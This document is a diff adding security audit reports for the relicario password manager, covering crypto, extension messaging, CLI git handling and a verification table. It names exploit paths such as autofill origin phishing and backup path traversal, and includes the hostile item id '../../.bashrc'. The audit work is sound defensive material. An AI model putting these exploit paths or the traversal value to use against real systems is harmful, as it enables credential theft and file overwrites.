The icon-click flow is presented as the "intended" path, but nothing in the code enforces that the icon must be the trigger. The design spec section "Autofill anti-phishing (origin checks)" is referenced in the audit prompt but is not implemented anywhere.
**Why it matters:** This is the classic phishing primitive a password manager exists to prevent. relicario currently has weaker origin discipline than even a manually-typed-in form would have.
**Remediation:**
1. In `get_autofill_candidates` and `get_credentials`, ignore any URL passed in the message. Use `sender.tab.url` and require `sender.tab.id === activeTabId`.
2. Before returning a credential, confirm the entry's stored `url`'s hostname matches the sender tab's hostname. Reject otherwise.
3. Only allow autofill in the top-level frame: check `sender.frameId === 0`.
4. Consider requiring user confirmation in the popup the first time a hostname requests autofill (TOFU origin acknowledgement).
---
## HIGH
### H1. Argon2id password input is the unprefixed concatenation of passphrase || image_secret — collision-engineerable second-preimage path
**File:** `crates/relicario-core/src/crypto.rs:225-227`.
**Issue:** `password = passphrase || image_secret`. Two distinct (passphrase, image_secret) pairs produce the same Argon2id input — e.g. `("abc", [0x44, 0x55, …])` and `("abcD", [0x55, …])` differ only in where the boundary sits but produce identical concatenations and therefore identical master keys. The design spec explicitly calls this out as "the canonical Argon2id API — no custom construction" but it's not canonical at all; concatenating two variable-length values without a length prefix is a textbook construction smell.
**Why it matters in this threat model:** The image_secret is fixed-length (32 bytes), so an attacker cannot freely craft pairs. But: in any future enhancement where the image_secret length changes (e.g., 64-byte for v2), or if the passphrase is allowed to contain bytes that look like leading bytes of an image_secret, the ambiguity becomes real. More immediately, it's a deviation from cryptographic hygiene that doesn't help the security argument and is trivial to fix. Also relevant: passphrases aren't strictly bounded — UTF-8 normalization differences (e.g., NFC vs NFD on macOS) could combine with image_secret in surprising ways.
**Remediation:**
```rust
let mut password = Vec::with_capacity(8 + passphrase.len() + 32);
password.extend_from_slice(&(passphrase.len() as u64).to_be_bytes());
password.extend_from_slice(passphrase);
password.extend_from_slice(image_secret);
```
Or better, use Argon2id's own `additional_data` / `secret` parameter (if exposed by the `argon2` crate's `Params`) to keep them domain-separated. This is a format-breaking change so it must be tied to a version bump in `params.json` / a new `VERSION_BYTE`.
Cite spec line: the spec at "Key derivation" explicitly says "concatenated, 32-byte secret appended" — this audit recommends amending the spec to use length-prefixing.
---
### H2. Master key never zeroized; `Vec<u8>` from `derive_master_key` and intermediate buffers leak into reallocated heap
**File:** `crates/relicario-core/src/crypto.rs:205-235`, `crates/relicario-cli/src/main.rs:204-218` and every command that calls `unlock`.
**Issue:** The Argon2id output (`output: [u8; 32]`) is returned by value, copied into an owned `Vec` in `relicario-wasm`'s `derive_master_key` (`lib.rs:62`), then handed to JS as a `Uint8Array` whose backing memory lives in the WASM linear memory. Nothing implements `Drop` to wipe the bytes. The intermediate `password` Vec at `crypto.rs:225-227` (which contains the *passphrase plaintext* alongside the image_secret) is also dropped without zeroizing — its buffer is freed and may be reallocated for unrelated purposes, retaining the passphrase in process memory until overwritten.
In the CLI, the passphrase string from `rpassword::prompt_password_stderr` (an owned `String`) is also not zeroized. The `master_key: [u8; 32]` returned from `unlock` is just a stack array — better — but it gets passed by reference to `encrypt_entry` etc. which call into XChaCha20Poly1305 internals that may copy the key.
**Why it matters:** Anything that captures a memory dump (crash dump, swap, hibernation file, attacker with debugger after suspend-to-disk) can recover the passphrase, image_secret, and master key from regions of freed heap. The threat model lists "Stolen device" as in-scope.
**Remediation:**
1. Add `zeroize = "1"` and `zeroize_derive` to `relicario-core`.
2. Wrap `master_key` in `Zeroizing<[u8; 32]>` in both `derive_master_key` return and at all CLI/WASM call sites.
3. Wrap the temporary `password` Vec in `Zeroizing<Vec<u8>>` so its contents are wiped on drop.
4. In the CLI, zeroize the passphrase string immediately after passing into `derive_master_key`.
5. In the service worker, after a successful unlock, immediately overwrite the JS `passphrase` string the popup sent (best effort — JS strings are immutable, so accept this is partial; primary defense is keeping passphrase short-lived).
6. For the WASM bridge, prefer passing key handles by id and keeping the bytes inside Rust's WASM linear memory in zeroizing structures, never returning them to JS as a `Uint8Array`. This is a larger refactor but is the correct architecture for a password manager.
---
### H3. Passphrase strength gate is purely cosmetic; the only enforced minimum is 8 characters
**File:** `crates/relicario-cli/src/main.rs:354-356`, `extension/src/setup/setup.ts:74-85, 363-373`.
**Issue:** The CLI requires `>= 8` characters — no entropy enforcement. The extension calls `passphraseStrength()` purely for the colored bar; the create-vault step accepts any non-empty passphrase including a single character (`if (!state.passphrase) bail`). This contradicts the spec's "Adversaries → Stolen device + weak passphrase: enforce minimum passphrase strength at vault creation" defense.
The threat model says the passphrase carries the entire entropy load against an attacker who has stolen the device + reference image. With a single low-entropy passphrase, all the elaborate two-factor design collapses to "Argon2id over a weak password," which a determined adversary can crack.
**Why it matters:** Spec invariant "Stolen device + weak passphrase. Universal worst case." The mitigation listed in the spec is "Enforce minimum passphrase strength at vault creation" — currently not enforced.
**Remediation:**
1. In the extension's setup wizard, refuse to proceed unless `passphraseStrength` returns `'good'` or `'strong'`, OR display an explicit warning and require the user to type a confirmation phrase.
2. In the CLI, integrate `zxcvbn` (Rust crate) and require an estimated guess count >= 2^45 or similar.
3. Document the enforced minimum in the spec.
---
### H4. CLI git_commit shells out without disabling pager / signed commits / hooks; no git config isolation
**File:** `crates/relicario-cli/src/main.rs:239-257, 402-405, 736-756`.
**Issue:** Every CLI mutation runs `git add -A` then `git commit -m <message>`. There are no environmental guards:
- If the user has a global `commit.gpgsign = true`, `git commit` will block waiting on a passphrase prompt while the master key is held in process memory. Not directly a vuln, but exacerbates H2.
- If a malicious `.git/hooks/pre-commit` script exists in the vault directory (e.g., the user pulled a compromised vault), it will execute every time the user runs any vault mutation. Hooks don't ship in `git clone`, so this is mostly defensive. Mitigate via `git -c core.hooksPath=/dev/null`.
- `git pull --rebase` (`main.rs:737-738`) without `--no-edit` may drop into an editor for conflict markers; nothing concerning, but a long-running editor session keeps the master_key in memory.
- `git add -A` (line 241) will stage anything in the working tree, including a maliciously-named file like `entries/../../etc/passwd` or symlinks the user didn't notice. Not a direct vuln but means the audit log is broader than just vault content.
**Why it matters:** The shell-out is broad; tightening it is cheap defense in depth.
**Remediation:**
```rust
Command::new("git")
.args(["-c", "core.hooksPath=/dev/null", "-c", "commit.gpgsign=false",
"-c", "core.editor=true", "commit", "-m", message])
```
Stage only the specific files the operation touched (`entries/<id>.enc`, `manifest.enc`, `.relicario/devices.json`) instead of `git add -A`.
---
### H5. WASM `generate_password` uses `Math.random()` — claimed "non-security-critical" is wrong
**File:** `crates/relicario-wasm/src/lib.rs:240-256`.
**Issue:** The doc comment says "Uses `js_sys::Math::random()` for randomness (not cryptographically secure, but sufficient for password character selection)." This is **flatly wrong**. Generated passwords are the user's stored credential for whatever site they're saving — they must be CSPRNG-derived. `Math.random()` is V8's xorshift128+ which is:
- Predictable from a small number of outputs (well-published research).
- Seeded per-realm; many realms share state across timing-correlated origins.
- An attacker who can observe one generated password (e.g., the user later shares it to a now-compromised site, or the page steals it via C3/C4) can in principle recover the RNG state and predict every other password generated in the same session.
The ext-bundled `crypto.getRandomValues` is available in service-worker context (it's used at `setup.ts:384`). There is no reason to use `Math.random` here.
**Remediation:** Replace both `generate_password` and `generate_entry_id` in `relicario-wasm` to use `getrandom` (already in the dependency list with `features = ["js"]` enabled, line in `Cargo.toml`). Equivalent to:
```rust
use rand::{rngs::OsRng, RngCore};
let mut buf = [0u8; 32];
OsRng.fill_bytes(&mut buf);
```
Also remove the false claim "Math.random() is sufficient for non-security-critical" — at minimum for entry IDs. For entry IDs the impact is mild (32 bits of weak randomness → some predictability of filenames in a public repo) but the password case is unambiguously a security bug.
Also: the modulo-by-charset-length introduces small bias (`CHARSET.len() = 87`, not a power of two). Use rejection sampling.
---
### H6. CLI password generator has modulo bias
**File:** `crates/relicario-cli/src/main.rs:308-317`.
**Issue:** `(rng.next_u32() as usize) % CHARSET.len()` where `CHARSET.len() == 75`. Since `2^32 % 75 = 1` (≈), bias is mild, but still nonzero. For a tool whose entire job is generating high-entropy secrets, use `rand::distributions::Uniform` or rejection sampling.
**Remediation:**
```rust
use rand::distributions::{Distribution, Uniform};
let dist = Uniform::from(0..CHARSET.len());
(0..length).map(|_| CHARSET[dist.sample(&mut rng)] as char).collect()
```
---
### H7. `rpassword 5.0.1` is from 2020 and the API used (`prompt_password_stderr`) was deprecated and removed in 6.x
**File:** `crates/relicario-cli/Cargo.toml` (`rpassword = "5"`), `main.rs:205, 352, 358`.
**Issue:** `rpassword 5.0.1` predates several documented platform handling fixes (Windows console, terminal-restoration on signal). The current crate is at 7.x. `prompt_password_stderr` was removed; use `prompt_password` and pipe it to stderr separately, or call `rpassword::prompt_password_from_bufread` for testability. Stale dep is a supply-chain hygiene issue and may carry unfixed terminal-restoration bugs that leave the TTY in no-echo mode if the user Ctrl-C's mid-prompt.
**Remediation:** Bump to `rpassword = "7"` and adapt the call sites.
---
### H8. Service worker keeps `apiToken` in `chrome.storage.local` in plaintext alongside the unencrypted reference image
**File:** `extension/src/service-worker/index.ts:67-75, 313-318`.
**Issue:** `vaultConfig.apiToken` (Gitea/GitHub PAT with full Contents read+write) and `imageBase64` (the reference image with the embedded image_secret) live unencrypted in `chrome.storage.local`. Per spec, "the image bytes never leave the device" — true — but anyone with read access to the user's Chrome profile (on disk: `~/.config/google-chrome/Default/Local Extension Settings/<extension-id>/`) gets both the PAT (full git push access to the vault repo) and the image (factor #2). Combine that with C1's "swap" attack and the threat model's "Stolen device" adversary loses the image_secret to an offline attacker the moment the disk is read.
The spec says this is "acceptable" and that the reference image is supposed to live in chrome.storage.local. But the spec does not say the API token also lives there. The PAT is a separate secret with its own threat model — leaking it gives an attacker push access to overwrite the encrypted vault (denial of service or rollback to stale ciphertext).
**Why it matters:** chrome.storage.local is plain JSON on disk on most platforms. No OS-keystore integration. The spec's "Stolen device" mitigation depends on Argon2id-protected master key — the PAT bypasses that entirely.
**Remediation:**
1. Document explicitly in the README/spec that anyone with filesystem access to the browser profile owns both the image_secret and write access to the git repo — and that the user's only remaining defense is the passphrase via Argon2id.
2. Consider scoping the PAT more tightly (Contents-only on a single repo path, no other API surface). The setup wizard's instructions already point at fine-grained PATs for GitHub — emphasize this.
3. Long-term: integrate with browser identity / cookie-based auth instead of long-lived PATs, or push the PAT into an OS keychain via a companion native messaging host (out of scope for V1).
---
## MEDIUM
### M1. `read_block` panics on out-of-bounds via `read_block_abs(...).unwrap()`
`crates/relicario-core/src/imgsecret.rs:252-256`. Future block-selection changes could panic at runtime; in WASM this aborts the whole service worker. Return `Result` and propagate, or `debug_assert!`.
### M2. `bits_to_bytes` length not validated in `try_extract_with_layout`
`crates/relicario-core/src/imgsecret.rs:765-768`. `secret.copy_from_slice(&result_bytes[..32])` panics if `result_bytes.len() < 32`. Add `debug_assert_eq!` and prefer `try_into()`.
### M3. `extract_with_crop_recovery` has unbounded compute for attacker-controlled JPEG dimensions
`crates/relicario-core/src/imgsecret.rs:784-833`. A 32000×32000 attacker-supplied JPEG can wedge the service worker for tens of seconds. Cap `MAX_DIMENSION` (e.g. 10000 px) and peek dimensions before full decode.
### M4. `decrypt` error path leaks coarse timing about which validation failed first
`crates/relicario-core/src/crypto.rs:115-141`. Not exploitable today (only attacker-supplied ciphertexts are the user's own files). If a "share an entry" feature lands, this becomes a side channel. Consider returning `RelicarioError::Decrypt` for all failure modes.
### M5. `chrome.tabs.sendMessage` in fill_credentials sends to currently-active tab without verifying the tab matches the entry's origin
`extension/src/service-worker/index.ts:334-346`. If the user switches tabs between opening the popup and pressing `f`, credentials go to the new tab. Capture `(tab.id, tab.url)` when popup opens.
### M6. CLI clipboard clear is best-effort and racy
`crates/relicario-cli/src/main.rs:565-585`. The 30s clear thread holds a *clone* of the plaintext password for 30 seconds and won't clear if user copies anything else and back. Always clear unconditionally; wrap in `Zeroizing<String>`.
### M7. CLI prints the full password to stdout via `println!`
`crates/relicario-cli/src/main.rs:553`. `relicario get` prints `"Password: <plaintext>"` to stdout — ends up in scrollback, `script` transcripts, tmux capture, pipes. Show `********` by default; require `--show` flag.
### M8. CLI generates entry IDs with only 32 bits of randomness; 8-char hex collisions are realistic
`crates/relicario-core/src/entry.rs:159-163`. Birthday-bound: ~65k entries gives ~50% collision; `manifest.add_entry` silently overwrites. Bump to 16-char hex (64 bits), or check before write.
### M9. WASM TOTP code has no guard against `result[offset + 3]` index when HMAC output is exactly 20 bytes
`crates/relicario-wasm/src/lib.rs:227-232`. Safe today (HMAC-SHA1 is always 20 bytes, max offset is 15). Add `debug_assert_eq!(result.len(), 20)` for future-proofing.
### M10. `setup-wizard.ts` opens a new tab, but `window.close()` is no-op if popup is not in popup context
`extension/src/popup/components/setup-wizard.ts:27-30`. Minor.
### M11. CLI `now_iso8601` returns Unix seconds but the field is named `iso8601` and the spec promises ISO 8601 formatting
`crates/relicario-cli/src/main.rs:263-268`. Function name lies; consumers may parse timestamps and silently mishandle a numeric value. Either rename or use chrono/jiff.
### M12. `arboard 3` carries platform-dependent behavior; password may persist after `set_text("")` on Linux X11
`crates/relicario-cli/src/main.rs:572-579`. Document Linux limitations.
---
## LOW / INFORMATIONAL
- **L1.** Dead-code-allowed fields in `EmbedRegion` (`crates/relicario-core/src/imgsecret.rs:163, 166`).
- **L2.** `RelicarioError::Format` exposes the offending version byte in user-facing error string. Minor info disclosure.
- **L3.** Capture flow's `check_credential` decrypts every candidate entry on every form submit (`index.ts:421-423`). Cache password hash, not password.
- **L4.** `popup.ts:16-20` `setState` triggers full re-render every state change — in-flight async responses can race and double-fire.
- **L5.** Chrome MV3 manifest CSP includes `'wasm-unsafe-eval'` — required but document why.
- **L6.** `git-host.ts:27` uses `String.fromCharCode(bytes[i])` for base64 — vulnerable to memory pressure with large reference images. Use chunked or `FileReader`.
- **L7.** `Cargo.toml` allows wide major-version ranges. No `cargo audit` / `cargo deny` config in repo.
- **L8.** CLI `vault_dir()` silently returns `current_dir()` — `relicario add` in `/home` will start writing files there. Detect missing `.relicario/` and bail.
- **L9.** `devices.json` initial write differs between CLI (`"[]"`) and extension (`'{"devices":[]}'`). Schema mismatch.
- **L10.** `totpSecretCache` (`Map<string, string>` of plaintext base32 secrets) has no zeroization — note that JS strings can't be zeroized.
- **L11.** `escapeHtml` at `popup.ts:16-20` doesn't escape `'` (single quote). Codebase uses double quotes for attributes, so currently safe but fragile.
- **L12.** Service worker unlock path doesn't validate salt/params length before passing to WASM. Add explicit length checks at JS boundary.
---
## CONFIRMED-SAFE
These primitives and parameters are correctly used and do **not** need further worry:
1. **XChaCha20-Poly1305** via `chacha20poly1305 = "0.10.1"` (RustCrypto). Correct AEAD usage; 24-byte nonce generated fresh from `OsRng` per encryption (`crypto.rs:79-100`).
2. **Argon2id** via `argon2 = "0.5.3"`. Correct algorithm/version (`Algorithm::Argon2id, Version::V0x13`), output length 32. Defaults of m=64MiB, t=3, p=4 within OWASP 2024 recommendations (`crypto.rs:211-235`).
3. **OsRng** used for: master_key salt (`main.rs:368-369`), image_secret in CLI (`main.rs:339-340`), nonces (`crypto.rs:85-87`), ed25519 device keys (`main.rs:794`).
4. **`crypto.getRandomValues`** in setup wizard for image_secret + salt (`setup.ts:383-393`).
5. **ed25519-dalek 2.2.0** with `rand_core` — modern strict-verification version.
6. **TOTP / RFC 6238** in WASM is correct; unit tests exercise published RFC test vectors (`wasm/lib.rs:280-301`).
7. **AEAD failure → opaque `RelicarioError::Decrypt`** with generic message ("wrong key or corrupted data"). Avoids leaking which factor is wrong (`error.rs:33`, `crypto.rs:138`).
8. **Version byte (0x01)** at start of every ciphertext blob with rejection of unknown versions.
9. **Two-factor independence** verified by `tests/integration.rs:120-153`.
10. **DCT round-trip correctness** verified to 1e-6 tolerance.
11. **`escapeHtml` via textContent round-trip** correctly defangs `<`, `>`, `&` for content insertion (caveat L11).
12. **Manifest schema migration** for the new `group` field handles old records cleanly via `serde(skip_serializing_if = "Option::is_none")`.
13. **CSP `script-src 'self' 'wasm-unsafe-eval'; object-src 'self'`** is tight: no `unsafe-inline`, no remote scripts.
14. **CLI device key file permissions 0600 on Unix** (`main.rs:809-813`).
---
## WIDER AUDIT GAPS (out of scope for this static review)
1. **Empirical robustness of imgsecret claims (Q85, 10% crop, etc.).** Tests cover one synthetic JPEG. Real social-media JPEGs go through chroma subsampling at 4:2:0, EXIF orientation flips, ICC profile re-encoding, platform-specific quantization tables. Needs a fuzz battery against actual platform upload-download round trips.
2. **WASM linear-memory inspection.** Bytes copied between Rust and JS via wasm-bindgen are reachable from JS for the lifetime of the process. A DevTools heap snapshot of the SW after unlock would confirm whether master_key bytes are visible from JS.
3. **Side-channel timing of Argon2id.** The `argon2` crate's `hash_password_into` is data-independent. No issue suspected; constant-time-test harness would confirm.
4. **Browser extension fuzzing for malicious page interaction.** Capture/autofill/prompt rendering need exercise against a hostile page with full DOM control.
5. **Cargo Audit / Cargo Deny.** Run `cargo audit` against the lockfile; `image 0.25.10` and transitive image-codec deps have had a steady stream of CVEs.
6. **MV3 service worker idle-suspend behavior.** When SW is suspended, `masterKey` is freed — good. But verify Chrome doesn't serialize SW storage of `masterKey` for resume.
7. **Git transport security.** Whether the user's git config validates SSH host keys, uses HTTPS with cert pinning, etc., is outside static review.
8. **Recovery flow.** Not yet implemented; needs its own audit when it lands.
---
## Summary
relicario's *core cryptography* is solid: correct AEAD, correct KDF parameters, real two-factor key derivation. The bugs are concentrated in the *extension boundary* and the *plumbing around the crypto*: the setup wizard is web-accessible without sender checks (C1), the message router trusts every caller (C2), capture and autofill have no origin discipline (C3, C4), the WASM password generator is non-cryptographic (H5), and master-key/passphrase memory hygiene is absent (H2).
**C1C4 together are exploitable end-to-end and should be treated as release blockers.** H1H8 should land before any tagged 1.0; M-class items can be batched into hardening PRs.

View File

@@ -0,0 +1,113 @@
# Verification: 2026-05-01 Security Audit
**Verified by:** Claude Opus 4.5
**Date:** 2026-05-01
**Methodology:** Code inspection of referenced file paths and line numbers
---
## Summary
| Finding | File Exists | Lines Accurate | Vulnerability Real | Confidence |
|---------|-------------|----------------|-------------------|------------|
| 1 - Backup KDF NFC | ✅ | ✅ | ✅ | 10/10 |
| 2 - Commit injection | ✅ | ✅ | ✅ | 10/10 |
| 3 - WASM private key exposure | ✅ | ✅ | ✅ | 10/10 |
| 4 - Test env vars in prod | ✅ | ✅ | ✅ | 10/10 |
| 5 - AttachmentId 64-bit | ✅ | ⚠️ off-by-1 | ✅ | 9/10 |
| 6 - Field history plaintext | ✅ | ✅ | ✅ | 10/10 |
| 7 - Device keys non-functional | ✅ | ✅ | ✅ | 10/10 |
| 8 - Path traversal restore | ✅ | ✅ | ✅ | 10/10 |
**Verdict:** All 8 findings are verified as real vulnerabilities in the current codebase.
---
## Finding-by-Finding Verification
### Finding 1 — Backup KDF missing NFC normalization
- **File:** `crates/relicario-core/src/backup.rs`
- **Claimed lines:** 303-312
- **Verified:** ✅ `derive_backup_key` at lines 303-312 passes `passphrase` directly to `argon.hash_password_into()` without NFC normalization. Compare to `derive_master_key` in `crypto.rs:224-227` which explicitly normalizes.
- **Impact confirmed:** Cross-platform restore failure for non-ASCII passphrases.
### Finding 2 — Commit message injection via item titles
- **File:** `crates/relicario-cli/src/main.rs`
- **Claimed lines:** 565, 899-901, 1110, 1327
- **Verified:** ✅
- Line 565: `format!("add: {} ({})", item.title, item.id.as_str())`
- Line 1110: `format!("edit: {} ({})", item.title, item.id.as_str())`
- Line 1327: `format!("trash: {} ({})", item.title, item.id.as_str())`
- **Impact confirmed:** Newlines/control chars in titles corrupt git log output.
### Finding 3 — WASM `generate_device_keypair` crosses private key to JS
- **File:** `crates/relicario-wasm/src/lib.rs`
- **Claimed lines:** 215-227
- **Verified:** ✅ Function returns `{ "private_key_base64": "..." }` as `JsValue`, exposing ed25519 private key to JavaScript heap.
- **Impact confirmed:** Key material accessible to any JS in service worker context.
### Finding 4 — Test env vars ship in production binary
- **File:** `crates/relicario-cli/src/main.rs`
- **Claimed lines:** 445-446, 421-423, 1425-1426
- **Verified:** ✅
- Lines 421-423: `RELICARIO_TEST_ITEM_SECRET`
- Lines 445-446: `RELICARIO_TEST_PASSPHRASE`
- Lines 1425-1426: `RELICARIO_TEST_BACKUP_PASSPHRASE`
- **Impact confirmed:** All checked in production code without `#[cfg(test)]`. Passphrase visible in `/proc/<pid>/environ`.
### Finding 5 — `AttachmentId` truncated to 64 bits
- **File:** `crates/relicario-core/src/ids.rs`
- **Claimed lines:** 52-57
- **Actual lines:** 51-56 (off by 1)
- **Verified:** ✅ `&digest[..8]` = 8 bytes = 64 bits. Birthday collision at ~2³² work.
- **Impact confirmed:** Attacker with attachment upload can cause silent overwrites.
### Finding 6 — `get_field_history` returns plaintext to JS
- **File:** `crates/relicario-wasm/src/lib.rs`
- **Claimed lines:** 232-265
- **Verified:** ✅ Returns historical `Password`/`Concealed` values as plaintext JSON via `v.as_str().to_owned()`.
- **Impact confirmed:** Password history exposed to JS heap without Zeroizing.
### Finding 7 — Device key system is security theater
- **File:** `crates/relicario-cli/src/main.rs`
- **Claimed lines:** 2151-2221
- **Verified:** ✅ `cmd_device()` handles Add/List/Revoke but:
- No `sign_commit` or `verify_signature` functions exist anywhere
- `devices.json` is plaintext and unauthenticated
- Revocation has no enforcement mechanism
- **Impact confirmed:** Users falsely believe device revocation provides security.
### Finding 8 — Path traversal on backup restore
- **File:** `crates/relicario-cli/src/main.rs`
- **Claimed lines:** 1619-1626
- **Verified:** ✅
```rust
for item in &unpacked.items {
fs::write(target.join("items").join(format!("{}.enc", item.id)), ...)?;
}
```
`item.id` and `attachment_id` used directly in path construction with no validation.
- **Impact confirmed:** Crafted `.relbak` with `id = "../../.bashrc"` escapes target directory.
---
## Blockers Assessment
The audit's "Path to Certifiable Safety" section is accurate:
| Blocker | Verified | Severity |
|---------|----------|----------|
| B1 - Device key theater | ✅ Real | High |
| B2 - Backup KDF NFC | ✅ Real | Medium |
| B3 - Test env vars | ✅ Real | Medium |
| B4 - Path traversal | ✅ Real | Medium |
All four blockers are confirmed. B1 is the most dangerous as it misleads users about their security posture.

View File

@@ -0,0 +1,199 @@
# Relicario Security Audit — 2026-05-01
Scope: full project audit (not a PR diff). Covers crypto correctness, protocol gaps,
implementation reality vs. plans, and a roadmap toward third-party auditability.
---
## Section 1 — Security Findings
### Finding 1 — Backup KDF missing NFC normalization
**`crates/relicario-core/src/backup.rs:303-312`** · Severity: **Medium**
`derive_backup_key` passes raw passphrase bytes to Argon2id. The main vault KDF in
`crypto.rs` uses `u64_be(len) || nfc_passphrase || u64_be(32) || image_secret`. The
backup KDF has neither NFC normalization nor the length-prefix construction.
**Exploit:** User creates a backup on macOS (NFD normalization) and restores on Linux
(NFC). The Argon2id input differs → wrong key → unrestorable backup. Affects any
non-ASCII passphrase (`"Crêpe-7"`, `"café"`, accented chars).
**Fix:** Factor out `normalize_passphrase()` and use it in both `derive_master_key` and
`derive_backup_key`.
---
### Finding 2 — Commit message injection via item titles
**`crates/relicario-cli/src/main.rs:565, 899-901, 1110, 1327`** · Severity: **Medium**
Item titles (arbitrary user UTF-8) are embedded directly into `-m` commit message strings
via `format!("add: {} ({})", item.title, ...)`. `git_command` uses `Command::args()` (no
shell), so shell injection into `git add` is blocked — but newlines in titles produce
malformed multi-line commit messages that corrupt git log parsers.
**Fix:** Strip control characters from titles before embedding in commit messages, or omit
the title from the `-m` format entirely and use only the item ID.
---
### Finding 3 — WASM `generate_device_keypair` crosses private key bytes to JS
**`crates/relicario-wasm/src/lib.rs:215-227`** · Severity: **Medium**
Returns `{ "private_key_base64": "..." }` as a `JsValue`. The ed25519 private key lives in
the JS heap with no `Zeroizing` protection. The vault master key is protected behind an
opaque `SessionHandle` and never crosses to JS — the device key has no such protection.
**Exploit:** Any JS running in the extension service worker context (compromised dependency,
content script escalation) that can intercept the return value gets the raw device key.
**Fix:** Never return the private key to JS. Expose only a `sign(handle, data) → signature`
API; perform the signing in Rust.
---
### Finding 4 — Test env vars ship in production binary
**`crates/relicario-cli/src/main.rs:445-446, 421-423, 1425-1426`** · Severity: **Medium**
`RELICARIO_TEST_PASSPHRASE`, `RELICARIO_TEST_ITEM_SECRET`, `RELICARIO_TEST_BACKUP_PASSPHRASE`
are checked in production code (not `#[cfg(test)]`). When set, they bypass the interactive
TTY prompt.
**Exploit:** On Linux, `/proc/<pid>/environ` exposes the passphrase in cleartext to
same-UID processes. Shell history captures `RELICARIO_TEST_PASSPHRASE=mysecret relicario unlock ...`.
**Fix:** Gate behind `#[cfg(test)]` or a `--features testing` build profile.
---
### Finding 5 — `AttachmentId` truncated to 64 bits of SHA-256
**`crates/relicario-core/src/ids.rs:52-57`** · Severity: **Medium**
`AttachmentId::from_plaintext` takes `&digest[..8]` (8 bytes = 64 bits). Standard
content-addressed stores use ≥128 bits. With 64 bits, an attacker who can supply attachment
content can find a second-preimage collision with ~2^32 work, causing a crafted attachment
to silently overwrite an existing one on disk.
**Fix:** Change `&digest[..8]``&digest[..16]` (128 bits). No migration needed for
existing vaults since only new attachments are affected.
---
### Finding 6 — `get_field_history` re-parses item JSON from JS heap
**`crates/relicario-wasm/src/lib.rs:232-265`** · Severity: **Medium**
Returns all historical `Password`/`Concealed` values as plaintext `JsValue`. The values
are regular `String` allocations with no `Zeroizing` wrapper before serialization into
`serde_json::Value`.
**Fix:** Architectural — document that the caller must treat the return value as sensitive.
For strong hygiene: do all history display in Rust, never returning password history bytes
to JS.
---
### Finding 7 — Device key system is non-functional as a security control
**`crates/relicario-cli/src/main.rs:2151-2221`** · Severity: **High**
`device add/list/revoke` and `generate_device_keypair` exist, but **no code anywhere signs
git commits with device keys**, and **no code verifies device signatures**. `devices.json`
is plaintext in the repo and unauthenticated by the vault.
**Exploit:** Users believe "device revocation" prevents unauthorized access after a device
is stolen/compromised. It does nothing. A stolen device continues to have full vault access
via its git remote credentials regardless of revocation.
**Fix:** Either (a) implement commit signing + server-side pre-receive hook verification, or
(b) remove the `device` subcommands and document that access control is SSH-key-level only.
---
### Finding 8 — Path traversal on backup restore
**`crates/relicario-cli/src/main.rs:1619-1626`** · Severity: **Medium**
During restore, item/attachment IDs from the decrypted backup JSON are used directly as
path components with no format validation. IDs are AEAD-authenticated but a user restoring
from a crafted `.relbak` with a known passphrase would execute arbitrary path writes.
**Exploit (social engineering):** Attacker provides a `.relbak` with item ID
`../../.bashrc` → restore overwrites `~/.bashrc`.
**Fix:**
```rust
ensure!(id.len() == 16 && id.chars().all(|c| c.is_ascii_hexdigit()),
"invalid id in backup");
```
---
## Section 2 — Implementation Status
| Feature | Status | Notes |
|---|---|---|
| Two-factor decrypt (passphrase + image_secret) | ✅ Implemented | Full crypto pipeline, NFC passphrase, Argon2id m=64MiB t=3 p=4 |
| imgsecret embed | ✅ Implemented | DCT QIM, QUANT_STEP=50, central 70%, 5-50 redundant copies |
| imgsecret extract + crop recovery | ✅ Implemented | Majority voting ≥60%, 4 crop search strategies |
| Manifest browse (schema v2) | ✅ Implemented | Encrypted with master key, search(), title/type/tags/icon |
| Vault CRUD (init/add/edit/rm/trash/restore/purge) | ✅ Implemented | All 7 item types fully handled |
| CLI `init` | ✅ Implemented | zxcvbn ≥3 gate, image embed, Argon2id params, git init |
| CLI `add` / `edit` | ✅ Implemented | All 7 types, TOTP QR decode via rqrr, field history capture |
| CLI `generate` | ✅ Implemented | Random (rejection-sampled) + BIP39, uses vault defaults |
| CLI `sync` | ✅ Implemented | `git pull --rebase && git push` |
| CLI `backup export/restore` | ✅ Implemented | Plan 3A: zstd+AEAD container, optional image + git bundle |
| CLI `import lastpass` | ✅ Implemented | Plan 3B: CSV validation, Login + SecureNote + TOTP mapping |
| WASM bindings (all item/manifest/settings) | ✅ Implemented | Complete symmetric set |
| WASM session handle (opaque master key) | ✅ Implemented | Key never crosses WASM boundary |
| WASM attachment, generator, TOTP, backup, import | ✅ Implemented | All wired |
| Field history tracking + CLI `history` | ✅ Implemented | Password/Concealed/TOTP history, prune policies |
| Trash + retention | ✅ Implemented | `trash list/empty`, TrashRetention window |
| Attachments (CLI + WASM) | ✅ Implemented | File-level AEAD, cap enforcement, Document type |
| Settings / VaultSettings | ✅ Implemented | All retention + generator + cap fields, CLI subcommands |
| Device keys (add/list/revoke) | ⚠️ Partial | Key gen + persistence only — **no signing, no verification** (Finding 7) |
| Per-vault total attachment cap | ⚠️ Partial | Cap defined in settings, per-attachment enforced — per-vault total bytes not checked |
| Browser extension UI | ⚠️ Partial | WASM surface complete; extension TypeScript/HTML is a separate repo |
| Recovery QR | ❌ Plan-only | Spec written; no `recovery_qr.rs` module exists |
| Password coloring | ❌ Plan-only | Spec written; no implementation |
| Passphrase rotation | ❌ Deferred | Explicitly back-burnered |
| Pre-v0.3.0 audit walk | ❌ Not started | Listed as pending before v0.3.0 tag |
| HOTP counter persistence | ❌ Bug | `Hotp { counter }` never incremented/saved — HOTP desynchronizes immediately |
---
## Section 3 — Path to Certifiable Safety
### Blockers — must fix before any real use
| # | Item |
|---|---|
| B1 | **Device key system is security theater** — implement signing or remove the commands. This is the most dangerous finding because it misleads users about their security posture. |
| B2 | **Backup KDF NFC normalization** — one-line fix; data loss risk for non-ASCII passphrases. |
| B3 | **Test env vars in production binary** — gate with `#[cfg(test)]`. Exposes passphrase via `/proc`. |
| B4 | **Path traversal on restore** — two-line ID validation before any `fs::write`. |
### Important — fix before third-party audit
| # | Item |
|---|---|
| I1 | Sanitize item titles before embedding in commit messages |
| I2 | `AttachmentId`: `&digest[..8]``&digest[..16]` (128-bit collision resistance) |
| I3 | Enforce per-vault total attachment bytes cap (already defined, never checked) |
| I4 | Document manifest integrity model: AEAD protects against silent modification, but item deletion is only detectable via git history |
| I5 | Stop crossing device private key bytes to JS (prerequisite for B1 if signing is implemented) |
| I6 | Fix HOTP counter: increment + re-save on each `totp get`, or disable HOTP and return an error |
